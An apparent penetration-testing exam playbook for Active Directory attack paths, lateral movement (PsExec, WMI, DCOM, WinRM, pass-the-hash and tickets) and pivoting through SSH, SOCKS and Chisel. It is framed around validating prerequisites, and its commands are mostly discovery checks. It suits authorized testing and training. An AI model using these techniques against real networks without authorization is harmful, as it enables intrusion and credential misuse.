S06 · Authenticate to LDAP with a mapped certificateNot inspected
  • Enter: you possess a certificate and private key plausibly mapped to an AD identity, and LDAP over TLS is reachable.
  • Discover: identify certificate subject/SAN/EKU, trust chain, private-key availability and the DC TLS path.
  • Validate: the certificate maps to the intended principal, the private key matches, Schannel authentication is accepted and the mapped identity has the exact object right required by the intended LDAP operation.
  • Execute: PassTheCert identity check and LDAP shell.
  • Verify: whoami/bind establishes only the mapped LDAP identity; separately verify the selected LDAP read or write and its object state.
  • Outcomes: mapped identity and permitted object operation confirmed → D26; mapping/trust/private key disproved → ruled out here; PKINIT fails while Schannel remains untested, or TLS errors mask mapping → inconclusive.
S07 · Create a controlled machine account only for a selected AD pathNot inspected
  • Enter: a validated RBCD/delegation path needs a service principal or machine key you control.
  • Discover: inspect machine-account quota, target OU/container ACL, existing names and whether the current identity can create the account in the intended location.
  • Validate: the downstream path actually needs this principal, the resulting SPNs/key will be usable, target-object rights are independently present, and cleanup/deletion rights are understood.
  • Execute: Powermad machine-account creation.
  • Verify: confirm the created object, its SPNs and controlled key; do not record RBCD or target access until the separate delegation operation and service ticket succeed.
  • Outcomes: controlled principal created for an already validated receiver path → D27; quota/ACL/name condition fails → ruled out here; object exists but downstream target right is missing → retain only the machine-account capability.
S08 · Evaluate DNSAdmins without assuming immediate executionNot inspectedDiscovery / validation only · action procedure pending
  • Enter: the controlled principal is a direct/effective DNSAdmins member or has equivalent DNS-server configuration rights.
  • Discover: identify the actual DNS server, DNS service state/identity and service ACL from the current authorized source.
  • Validate: effective configuration permission, product/build behavior, a usable plugin/configuration operation, payload delivery path and a separately authorized restart trigger. A restart on a DC is disruptive and is never a discovery probe.
  • Execute: DNSAdmins condition checks.
  • Verify: current content supports only membership/service/trigger investigation. A complete plugin execution and cleanup procedure is not registered; see RW01.
  • Outcomes: all prerequisites identified → ready for a separately reviewed procedure; membership absent/effective right denied → ruled out here; group present but configuration or trigger unknown → inconclusive.
S09 · Map WSUS client policy to a server-side authorization questionNot inspectedDiscovery / validation only · action procedure pending
  • Enter: host policy or traffic indicates the machine uses WSUS.
  • Discover: read WUServer, WUStatusServer and UseWUServer; record URL, port, TLS and actual source reachability.
  • Validate: authenticated access to the identified server, update-approval/content/signing/deployment rights, target group scope and the privileged client consumer. Client configuration alone supplies none of those rights.
  • Execute: WSUS client authority discovery.
  • Verify: this state produces a named update authority and a missing-rights checklist, not code execution. A complete update-deployment procedure is not registered; see RW02.
  • Outcomes: authority plus exact server-side control established → ready for a separately reviewed procedure; server rights denied → ruled out here; registry values absent or server role unknown → inconclusive.
S10 · Recognize SCCM client context and locate the management boundaryNot inspectedDiscovery / validation only · action procedure pending
  • Enter: CcmExec, SMS_Client or readable client configuration indicates Configuration Manager.
  • Discover: identify client state, assigned site, management point and reachable authenticated interfaces.
  • Validate: SMS Provider/site-server authorization, deployment or CMPivot rights, relevant collection scope and any specifically readable credential source. Client presence does not imply server rights.
  • Execute: SCCM client recognition checks.
  • Verify: this state establishes product/site context only. A complete SCCM rights-to-action procedure is not registered; see RW03.
  • Outcomes: exact management interface and relevant permission found → ready for a separately reviewed procedure; no applicable server permission → ruled out here; namespace access denied or site/role unresolved → inconclusive.
S16 · Inspect VSS/shadow-copy credential-source conditionsNot inspectedDiscovery / validation only · action procedure pending
  • Enter: you control a Windows Server/DC context where offline credential material is relevant and the token may hold administrative or backup rights.
  • Discover: inspect whoami /priv, vssadmin list shadows, then diskshadow → list shadows all.
  • Validate: establish platform, exact volume, existing-versus-new snapshot, read rights, matched NTDS.dit and SYSTEM-hive requirement, output destination and cleanup authority.
  • Execute: shadow-copy boundary checks. Creating/exposing/deleting a shadow and acquiring the matched files remain unavailable until RW08 is complete.
  • Verify: listing proves only snapshot metadata. Credential acquisition requires readable, point-in-time-compatible NTDS/SYSTEM material and successful offline parsing.
  • Outcomes: suitable existing snapshot and read path identified → ready for RW08 procedure; platform/rights/volume/source decisively incompatible → ruled out here; snapshot listed but access/freshness/matching hive unresolved → inconclusive.
  • Source: Microsoft DiskShadow.
S19 · Separate an unconstrained-delegation flag from tickets actually presentNot inspected
  • Enter: a computer/service account has TrustedForDelegation/unconstrained delegation and the selected host/session context is accessible.
  • Discover: confirm the account/SPNs and inspect the actual selected ticket cache with klist or Rubeus.exe triage in the permitted context.
  • Validate: ticket owner, realm, service/TGT type, validity, logon-session/LUID access, export/cache compatibility and the exact receiving service. A delegation flag without a cached client ticket is only configuration.
  • Execute: when a relevant ticket already exists, use the ticket classification and cache procedure and movement preflight. Forced/coerced authentication remains unavailable under RW11.
  • Verify: prove one named service action under the ticket principal, then preserve the host/LUID/cache scope. Do not record a password, hash or domain-wide privilege.
  • Outcomes: usable cached ticket accepted by the named service → D28/D29; no relevant ticket in the inspectable context → current cached-ticket path ruled out; inaccessible LUID, stale ticket or ambiguous principal → inconclusive.

Move to another host

Match route, destination service and effective authorizationNot inspectedA credential appears valid but the destination's usable access is unknown

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST

Read the result

SMB/RPC are transport candidates while WinRM is not yet reachable; dynamic RPC and authorization are still untested.

Still check: Probe the destination from the real source. Check DNS/service names and each required SMB/RPC/WinRM endpoint, then test effective service authorization. An open port and an accepted password do not establish a working remote execution method.

Illustrative output
445/tcp open microsoft-ds
135/tcp open msrpc
5985/tcp filtered wsman
Validate prerequisites and compare methods

Real source-to-service route, correct identity context and protocol-specific execution/logon rights

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST
Open numbered procedure and alternatives →

What did you find?

Enabled: One compatible service accepts the identity and authorized operation: choose that movement mechanism.

Ruled out here: The intended protocol is conclusively unavailable from this source: reject that route/service combination.

Unresolved: Open 135 does not settle dynamic RPC; an SMB admin indicator does not settle WMI/WinRM/RDP.

Show connections

These are conditional possibilities. Check the named condition before moving.

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Execute through WMI or native CIM over DCOM — A destination exposes WMI/DCOM and the identity has useful namespace/process rights
Requires: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Execute through remote Task Scheduler — The identity has remote task rights and a compatible output path
Requires: Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access

Execute through an authorized DCOM application object — A usable remote COM application and effective activation/method rights
Requires: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Execute through uploaded service creation using PsExecNot inspectedA destination grants administrative-share write and service-control rights

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Read the result

Administrative-share control is one PsExec prerequisite, not proof of every service/pipe operation.

Still check: Validate actual SCM rights, binary compatibility, service start and named-pipe path; check the final execution identity.

Illustrative output
Authentication: accepted
ADMIN$: READ,WRITE
SCM create/start: not yet verified
Validate prerequisites and compare methods

SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Open numbered procedure and alternatives →

What did you find?

Enabled: All share/SCM/pipe conditions hold and remote effect is observed: use the service-upload method.

Ruled out here: ADMIN$ is unwritable or SCM creation is denied: reject this specific PsExec route.

Unresolved: A tool's admin label alone leaves exact method authorization unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Execute commands through service command lines and SMB output — SCM rights and SMB output access exist but an uploaded service binary is unsuitable
Requires: Accepted authentication, service create/start rights and the selected output-share/server path

Execute commands through service command lines and SMB outputNot inspectedSCM rights and SMB output access exist but an uploaded service binary is unsuitable

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Read the result

A share and possible service rights suggest the command-line service route, whose output still has its own access path.

Still check: Confirm service create/start, exact output mode/share and command effect independently from retrieved stdout.

Illustrative output
ADMIN$: accessible
Accepted identity: DOMAIN\USER
Service-command and output retrieval: verify separately
Validate prerequisites and compare methods

Accepted authentication, service create/start rights and the selected output-share/server path

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Open numbered procedure and alternatives →

What did you find?

Enabled: The service command executes and its selected output is available: choose SMBExec.

Ruled out here: SCM creation is denied: reject service-command execution despite SMB login.

Unresolved: No stdout may be output-share failure rather than failed process execution.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Execute through remote Task SchedulerNot inspectedThe identity has remote task rights and a compatible output path

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

Read the result

The required network services are candidates; a task cannot be assumed creatable from port results.

Still check: Check negotiated RPC reachability, task-create permission, actual principal and administrative output channel.

Illustrative output
135: reachable
445: reachable
Remote task creation and output ACLs: not yet known
Validate prerequisites and compare methods

Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Open numbered procedure and alternatives →

What did you find?

Enabled: Task creation/execution and the bounded effect are verified: choose ATExec.

Ruled out here: The account lacks remote task rights: reject this method while retaining other service access.

Unresolved: A task-run request accepted without process/effect evidence is inconclusive.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Execute through WMI or native CIM over DCOMNot inspectedA destination exposes WMI/DCOM and the identity has useful namespace/process rights

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

Read the result

Port 135 and an output route justify further checks but do not prove a WMI process can be created.

Still check: Validate dynamic ports, DCOM/WMI authorization, native CIM transport choice and actual effect.

Illustrative output
Endpoint mapper: reachable
SMB output path: reachable
Dynamic RPC and WMI namespace rights: unknown
Validate prerequisites and compare methods

RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Open numbered procedure and alternatives →

What did you find?

Enabled: Authorized process creation plus a working observation/output path exists: use WMI/CIM.

Ruled out here: The required namespace/activation permission is denied: reject that identity's WMI route.

Unresolved: Execution may succeed with failed output retrieval; inspect a controlled effect before concluding.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Execute through an authorized DCOM application objectNot inspectedA usable remote COM application and effective activation/method rights

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

Test-NetConnection TARGET -Port 135

Read the result

A named application and route form a candidate; component availability and allowed activation/method remain separate.

Still check: Check dynamic RPC, actual class/rights, authentication/tool support, method and verifiable output/effect.

Illustrative output
RPC endpoint mapper: reachable
Candidate application: MMC20.Application.1
Activation/method authorization: not yet known
Validate prerequisites and compare methods

RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Test-NetConnection TARGET -Port 135
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended authorized application method produces the remote effect: choose this DCOM route.

Ruled out here: The component is absent or activation is denied: reject that class-based chain.

Unresolved: A created COM object without command/effect evidence leaves execution unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Use WinRM, WinRS or PowerShell remotingNot inspectedA WinRM listener and a candidate endpoint-authorized account

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986

Read the result

A reachable endpoint plus a known credential is a candidate, not proof the account may enter that remoting session.

Still check: Verify accepted authentication, correct name/TLS context, endpoint rights and any second-hop requirements.

Illustrative output
5985: reachable
SMB credential: accepted
WinRM endpoint authorization: unknown
Validate prerequisites and compare methods

Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986
Open numbered procedure and alternatives →

What did you find?

Enabled: The endpoint opens the intended session and identity is verified: choose WinRM/WinRS/remoting.

Ruled out here: A valid account is denied the endpoint: reject that session configuration for this identity.

Unresolved: Second-hop resource failure does not disprove the first WinRM authentication.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Obtain an authorized RDP interactive sessionNot inspectedRDP is reachable and the identity may have remote-interactive logon rights

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

Test-NetConnection TARGET -Port 3389

Read the result

RDP transport does not grant desktop access; Restricted Admin/hash use has additional requirements.

Still check: Check NLA/TLS, identity qualification, logon authorization and the chosen authentication mode.

Illustrative output
3389: reachable
Candidate identity: DOMAIN\USER
Remote-interactive logon right: not yet confirmed
Validate prerequisites and compare methods

Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Test-NetConnection TARGET -Port 3389
Open numbered procedure and alternatives →

What did you find?

Enabled: The authorized interactive logon opens under the verified token: choose RDP.

Ruled out here: The account lacks the required logon right or the hash route lacks Restricted Admin support: reject that variant.

Unresolved: A generic connection error requires separating client/protocol/policy before judging the credential.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Recover Windows application, history and stored-credential artifacts — Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries
Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Select password, NT hash, key-to-ticket or ticket authenticationNot inspectedA password, actual NT hash, AES/NT long-term key or ticket is available

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity

Discover the clue

klist
getent hosts TARGET_HOST
date -u

Read the result

The cache permits investigating a matching CIFS action, not arbitrary WinRM or a new TGS without a TGT/KDC route.

Still check: Match NTLM versus Kerberos support, account/domain, key/encryption policy, name/time and destination rights.

Illustrative output
Available cache: cifs/TARGET_HOST@REALM
No TGT present
Target hostname: resolves through selected route
Validate prerequisites and compare methods

Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

klist
getent hosts TARGET_HOST
date -u
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected client/service accepts the exact material and action: use that method.

Ruled out here: Only a challenge response is available for a direct NT-hash client: reject the type mismatch.

Unresolved: An unlabelled hash or unknown ticket lifetime requires classification first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Execute through WMI or native CIM over DCOM — A destination exposes WMI/DCOM and the identity has useful namespace/process rights
Requires: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

S17 · Evaluate a direct Net-NTLMv2 relay path without spoofingNot inspectedDiscovery / validation only · action procedure pending
  • Enter: an explicitly authorized, live NTLM authentication source is already present and a different receiver target is relevant. A saved Net-NTLMv2 response alone does not enter this state.
  • Discover: identify source protocol/event, relayed principal, receiver protocol/host and source-to-target reachability. For a selected SMB receiver, inspect signing with nmap -p 445 --script smb2-security-mode TARGET.
  • Validate: receiver accepts NTLM, signing/EPA/channel binding/reflection protections permit the exchange, and the relayed principal has one useful target operation. Current exam rules prohibit poisoning/spoofing; Responder name-resolution poisoning is never the source in the exam workflow.
  • Execute: the existing tool reference is not a complete action-specific procedure. Keep execution unavailable pending RW09.
  • Verify: define success as the chosen receiver operation under the relayed identity, not merely an inbound connection or captured challenge-response.
  • Outcomes: source + compatible receiver + useful authorization established → ready for RW09 procedure; signing/protocol/authorization decisively blocks it → ruled out for that receiver; protection or source-event behavior unresolved → inconclusive.

Reach internal services

Discover pivot interfaces, routes and internal service contextNot inspectedA foothold exposes an interface/subnet or a loopback-only service

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ip addr
ip route
ss -lntup

Read the result

A second network or loopback listener supplies a new vantage candidate; forwarding is not automatically enabled.

Still check: Read interfaces/routes/listeners on the pivot and probe the internal destination from that host. Draw both legs and the initiator; only choose SSH/SOCKS/Ligolo after the destination leg works.

Illustrative output
INTERFACE_A: current network
INTERFACE_B: assigned internal network
Listener: 127.0.0.1:PORT
Validate prerequisites and compare methods

A usable pivot process/identity and explicit scope; both forward and return directions must be understood

ip addr
ip route
ss -lntup
Open numbered procedure and alternatives →

What did you find?

Enabled: The pivot reaches the needed endpoint and a supported tunnel can carry the client: choose that route.

Ruled out here: The new subnet is outside assigned scope: do not use it as an attack route.

Unresolved: Interface/route presence alone does not prove destination/firewall access.

Show connections

These are conditional possibilities. Check the named condition before moving.

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Use a reverse Chisel SOCKS or fixed TCP tunnel — A pivot can make outbound HTTP/WebSocket connections to the tunnel server
Requires: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

Expose a server-side SOCKS proxy through remote dynamic SSH forwarding — Only the pivot can initiate SSH, but several client-selected internal destinations are needed
Requires: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

Route a selected subnet through sshuttle — Multiple internal TCP destinations need transparent application access over SSH
Requires: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

Forward from Windows with OpenSSH, Plink or Netsh — The pivot is Windows and available networking utilities constrain the route
Requires: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

Use forward Chisel SOCKS and version-supported UDP routing — The assessment-side client can reach a pivot-side tunnel server
Requires: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

Compose multiple pivots and validate every connection leg — A second internal network is reachable only from a later foothold
Requires: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

Relay a single TCP service through a fixed forwardNot inspectedOne reachable pivot can connect to one internal TCP destination

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ip route get TARGET
ss -lnt

Read the result

A single TCP service can fit a fixed relay without assuming a full routed network.

Still check: Confirm both legs, bind address/permission and any additional dynamic ports or return path.

Illustrative output
Pivot -> internal TARGET:PORT: verified
Assessment source -> pivot listener: candidate
Needed protocol: TCP, one fixed destination
Validate prerequisites and compare methods

A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

ss -lnt
ip route get TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: Both legs and the destination handshake work: choose a fixed TCP relay.

Ruled out here: The protocol needs unprovided UDP or dynamic connections: reject this one-port topology.

Unresolved: A listen socket without the destination handshake leaves the remote leg unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Forward a selected service through an SSH client-side listenerNot inspectedSSH reaches a server that can access the needed internal service

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

Read the result

Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.

Still check: Verify forwarding policy, local bind and server-to-destination application access.

Illustrative output
Assessment client -> SSH server: accepted
SSH server -> 127.0.0.1:INTERNAL_PORT: needed
Desired listener: assessment client
Validate prerequisites and compare methods

Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt
Open numbered procedure and alternatives →

What did you find?

Enabled: The permitted local forward delivers the service handshake: choose -L.

Ruled out here: The server cannot reach the selected destination: reject this topology regardless of valid SSH login.

Unresolved: SSH login alone leaves forwarding policy unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Provide SOCKS access through SSH dynamic forwardingNot inspectedSeveral internal TCP services need access through one SSH server

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ssh -v -p SSH_PORT USER@PIVOT

Read the result

Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.

Still check: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.

Illustrative output
SSH path: accepted
Needed destinations: several TCP services
Client proxy support: inspect
Validate prerequisites and compare methods

SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

ssh -v -p SSH_PORT USER@PIVOT
Open numbered procedure and alternatives →

What did you find?

Enabled: Proxy-aware clients reach the selected applications: choose dynamic SOCKS.

Ruled out here: The needed operation relies on raw/unsupported UDP traffic: reject ordinary TCP SOCKS for that operation.

Unresolved: A working SSH session without a proxy-aware test leaves application/proxy compatibility unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Expose an SSH-client-side destination through a server-side remote listenerNot inspectedThe useful side can initiate SSH outward but cannot accept an inbound management connection

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ssh -v USER@SSH_SERVER

Read the result

The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.

Still check: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.

Illustrative output
Pivot/client -> SSH server: allowed
SSH server -> pivot inbound: blocked
Desired listener: SSH server
Validate prerequisites and compare methods

Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

ssh -v USER@SSH_SERVER
ss -lnt
Open numbered procedure and alternatives →

What did you find?

Enabled: The server-side listener carries the intended service: choose the -R fixed forward.

Ruled out here: Only a loopback listener is available but another host must connect and no approved bind path exists: reject that exposure design.

Unresolved: Accepted outbound SSH does not prove remote listener policy.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Expose a server-side SOCKS proxy through remote dynamic SSH forwardingNot inspectedOnly the pivot can initiate SSH, but several client-selected internal destinations are needed

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

ssh -V

Read the result

Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.

Still check: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.

Illustrative output
SSH client: supported current OpenSSH
Outbound pivot -> server: allowed
Server-side SOCKS listener: required
Validate prerequisites and compare methods

A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

ssh -V
Open numbered procedure and alternatives →

What did you find?

Enabled: A supported remote dynamic listener carries the intended TCP clients: choose that mode.

Ruled out here: The installed SSH client does not support the syntax or policy forbids it: reject that variant.

Unresolved: A version string without a controlled forwarding/application test leaves policy/transport unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Expose an SSH-client-side destination through a server-side remote listener — The useful side can initiate SSH outward but cannot accept an inbound management connection
Requires: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Use ProxyChains, native SOCKS clients and SSH jump paths appropriatelyNot inspectedA SOCKS listener or an SSH jump host is already available

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Discover the clue

curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/

Read the result

One supported TCP application works; the proxy does not automatically carry raw packets or arbitrary DNS/UDP.

Still check: Check native versus intercepted support, connect-only scanner modes, name resolution and every required protocol leg.

Illustrative output
Proxy-aware HTTP request: application response
Raw discovery request: no useful result
Validate prerequisites and compare methods

Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/
Open numbered procedure and alternatives →

What did you find?

Enabled: The actual client's application handshake works through the chosen proxy/jump: use it.

Ruled out here: A static/raw/UDP-only client is incompatible with this proxy wrapper: choose another transport.

Unresolved: A reachable SOCKS port without an end-to-end service test leaves the exit path unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

